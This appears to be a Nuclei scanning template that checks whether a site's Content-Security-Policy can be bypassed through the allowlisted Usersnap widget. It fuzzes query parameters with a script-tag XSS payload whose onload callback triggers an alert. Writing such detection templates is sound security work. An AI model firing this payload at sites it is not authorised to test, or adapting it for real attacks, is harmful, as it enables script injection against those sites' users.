id: usersnap-widget-csp-bypass

info:
  name: Content-Security-Policy Bypass - Usersnap Widget
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,usersnap-widget

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "usersnap.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: usersnap_widget_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://widget.usersnap.com/load/d5abc654-0976-45b9-8074-fa5e721db433?onload=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "usersnap_widget_csp_xss == true"
# digest: 4a0a0047304502206985d66c3aae69863559052ced1f0d437c3d28cc7168cdb0a04fb629c63b8f32022100e5679d311a376cb607a5993177b4d0b53c7f9c260793b0ae5679c51c08fd5a04:922c64590222798bb761d5b6d8e72950